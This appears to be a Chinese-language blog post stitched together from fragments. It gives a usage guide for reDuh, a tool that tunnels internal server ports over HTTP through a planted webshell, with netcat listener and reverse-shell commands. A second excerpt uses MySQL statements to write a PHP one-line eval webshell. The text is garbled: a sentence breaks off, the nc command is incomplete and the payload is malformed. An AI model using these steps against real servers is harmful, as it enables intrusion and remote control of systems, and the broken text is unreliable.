国外大牛的作品，偶顺手写了个使用说明。e文好的看原文 http://www.sensepost.com/research/reduh/

这个工具可以把内网服务器的端口通过http/https隧道转发到本机，形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。

本机-------客户端---------（http隧道）-----------服务端------------------内网服务器

服务端是个webshell（针对不同服务器有aspx,php,jsp三个版本），客户端是java写的，本机执行最好装上jdk。

把客户端

前提：
1.能用webshell运行cmd命令。
方法有很多，首先是wscript.shell，如果被改名或者被删了，就找可运行目录上传cmd.exe。

2.上传nc。可以跟cmd.exe上传到同一目录。

步骤：
现在本地监听一个端口。

nc -vv -l -p 8080

最好是80或8080这样的端口，被防火墙拦截的几率小很多。我机器80被apache占了，就用8080了。

在webshell运行下面命令连接我们监听的端口得到cmdshell:

nc -vv 222

来源： 零魂’s blog

昨天看一篇文章中说到mysql导出一句话木马拿webshell的方法。
文章中用到的sql语句大体如下(命令行或者其它能执行sql命令的shell都行)：

drop table if exists temp; //如果存在temp就删掉
create table temp(cmd text not null); //建立temp表，里面就一个cmd字段
insert into temp (cmd) values(’<? php eval(_post[cmd]);?>’); //把一句话木马插入到temp表

图1

点击此处下载最新版恶意软件查杀助理